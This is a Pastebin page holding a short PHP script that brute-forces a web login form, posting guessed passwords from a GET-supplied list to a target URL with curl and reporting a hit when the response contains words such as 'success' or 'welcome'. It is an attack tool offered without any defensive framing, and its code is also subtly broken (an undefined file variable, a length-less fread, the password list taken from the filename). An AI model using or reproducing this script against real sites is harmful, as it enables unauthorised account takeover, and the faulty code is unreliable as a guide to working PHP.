Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $file = $_GET['file'];
- $fh = fopen($myFile, 'r');
- $theData = fread($fh);
- fclose($fh);
- $passwords = explode(",",$file);
- $numberofpass = count($passwords);
- $counter = 0;
- $target = $_GET['target'];
- $passwordfield = $_GET['pfield'];
- $usernamefield = $_GET['ufield'];
- $usernametarget = $_GET['utarget'];
- while($counter < $numberofpass){
- $data = array();
- $data[$usernamefield] = $usernametarget;
- $data[$passwordfield] = $passwords[$counter];
- $post_str = '';
- foreach($data as $key=>$val) {
- $post_str .= $key.'='.urlencode($val).'&';
- }
- $post_str = substr($post_str, 0, -1);
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $target );
- curl_setopt($ch, CURLOPT_POST, TRUE);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post_str);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
- $response = curl_exec($ch );
- curl_close($ch );
- if(strpos($response,"logged") > 0){
- echo "Password found:" . $data['password'] . "<br>";
- die();
- }
- if(strpos($response,$usernametarget) > 0){
- echo "Password found:" . $data['password'] . "<br>";
- die();
- }
- if(strpos($response,"success") > 0){
- echo "Password found:" . $data['password'] . "<br>";
- die();
- }
- if(strpos($response,"welcome") > 0){
- echo "Password found:" . $data['password'] . "<br>";
- die();
- }
- if(strpos($response,"thanks") > 0){
- echo "Password found:" . $data['password'] . "<br>";
- die();
- }
- $counter = $counter + 1;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement